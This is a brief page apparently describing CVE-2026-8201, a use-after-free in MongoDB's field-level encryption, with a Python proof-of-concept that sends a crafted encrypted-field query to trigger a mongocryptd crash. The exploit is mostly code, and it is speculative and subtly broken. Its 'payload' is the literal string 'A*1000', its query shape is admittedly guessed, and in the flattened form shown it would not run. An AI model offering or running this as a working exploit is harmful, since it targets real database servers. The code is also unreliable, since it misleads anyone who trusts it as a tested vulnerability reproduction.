CVE-2026-8201 MongoDB FLE组件释放后使用漏洞

// Conceptual Proof of Concept for CVE-2026-8201 // This script demonstrates how a malformed FLE query might be constructed to trigger the UAF. // Actual exploitation requires precise memory layout and specific environment setup. import pymongo def trigger_vulnerability(): # Configure client to use mongocryptd for automatic encryption # This requires a running mongocryptd instance and proper KMS configuration client = pymongo.MongoClient( "mongodb://localhost:27017", auto_encryption_opts={ "keyVaultNamespace": "encryption.__keyVault", "kmsProviders": {"local": {"key": "..."}} } ) db = client.vulnerable_db collection = db.test_collection # Constructing a specific FLE query structure that may lead to UAF # The exact structure depends on the internal logic of mongocryptd malicious_query = { "$encryptedField": { "$eq": "A*1000" # Example payload to manipulate internal state } } try: # Sending the query triggers the vulnerable code path in mongocryptd result = collection.find_one(malicious_query) print("Query executed.") except Exception as e: print(f"Potential crash triggered: {e}") if __name__ == "__main__": trigger_vulnerability()